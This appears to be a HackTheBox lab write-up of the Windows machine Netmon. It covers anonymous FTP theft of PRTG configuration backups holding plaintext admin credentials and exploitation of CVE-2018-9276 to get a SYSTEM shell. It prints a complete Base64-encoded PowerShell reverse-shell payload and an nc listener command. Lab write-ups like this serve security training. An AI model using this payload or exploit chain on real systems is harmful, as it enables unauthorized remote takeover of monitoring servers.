HTB: Netmon

Overview

Netmon is an easy HackTheBox Windows machine running PRTG Network Monitor. Anonymous FTP access exposes PRTG’s own configuration backups, one of which contains unencrypted administrator credentials for an older version of the password. Once logged in, the outdated PRTG version is vulnerable to CVE-2018-9276, an authenticated remote code execution issue exploitable through the notification system’s custom “Execute Program” action, turning a valid login directly into a SYSTEM shell.

Attack Chain

• Scan the target and find FTP, HTTP, and several SMB/RPC ports
• Find a login page for PRTG Network Monitor 18.1.37.13946 on port 80
• Log in to FTP anonymously and locate PRTG’s configuration directory
• Transfer the configuration backup files to the attacking machine
• Recover unencrypted credentials from an older configuration backup
• Adjust the recovered password’s year and successfully log in to the PRTG web interface
• Identify CVE-2018-9276, an authenticated RCE affecting this PRTG version
• Create a new notification and abuse its “Execute Program” action to run a Base64-encoded PowerShell reverse shell
• Trigger a test notification to execute the payload
• Catch a shell as nt authority\system
• Read the user and administrator flags

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.230.176; export NAME=NETMON; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

Web Enumeration

Browsing to port 80 shows a login page for PRTG Network Monitor 18.1.37.13946.

Foothold

Anonymous FTP

We log in to FTP anonymously.

ftp ftp://anonymous:anonymous@$IP

From web research, we know PRTG Network Monitor stores credential data in C:\ProgramData\Paessler\PRTG Network Monitor. We list hidden files and see the ProgramData directory.

We navigate to the folder.

cd "ProgramData\Paessler\PRTG Network Monitor"

We find three configuration files.

We transfer them to our attacking machine.

get "PRTG Configuration.dat"
get "PRTG Configuration.old"
get "PRTG Configuration.old.bak"

In PRTG Configuration.old.bak, we find credentials that aren’t encrypted.

prtgadmin:PrTg@dmin2018

Logging in to PRTG

Back at the web app, these credentials don’t work. Since the password was found in a configuration backup, we try changing the year from 2018 to 2019:

prtgadmin:PrTg@dmin2019

We’re able to log in with the new credentials.

Exploiting CVE-2018-9276

PRTG Network Monitor versions below 18.2.39 are vulnerable to authenticated remote code execution, CVE-2018-9276.

To exploit it, we go to Setup → Account Settings → Notifications and select Add new notification.

We start a nc listener with rlwrap.

rlwrap -cAr nc -lnvp 443

We use a Base64-encoded PowerShell reverse shell from revshells.com:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

We give the new notification a name.

We scroll down to Execute Program, select the outfile.ps1 script, and add our payload with a dummy file argument beforehand, the dummy file’s name doesn’t matter.

We save the notification, select our Revshell443 notification, and click enable, which brings up a new menu. Selecting the bell icon sends a test notification.

We receive a message that a test notification was triggered.

We catch a shell as nt authority\system.

We read the user flag.

We read the administrator flag.

Key Takeaways

Netmon shows how a single misconfiguration, anonymous FTP write access to a directory holding application configuration backups, can leak credentials that were never meant to be exposed outside the application itself. The fact that the password only needed a one-character guess (the year) to become valid shows how predictable credential rotation habits undermine otherwise-reasonable password hygiene. From there, CVE-2018-9276 is a good example of a monitoring tool’s own automation features, here, a notification system meant to run administrative scripts, becoming a fully supported code execution primitive once authenticated access is achieved.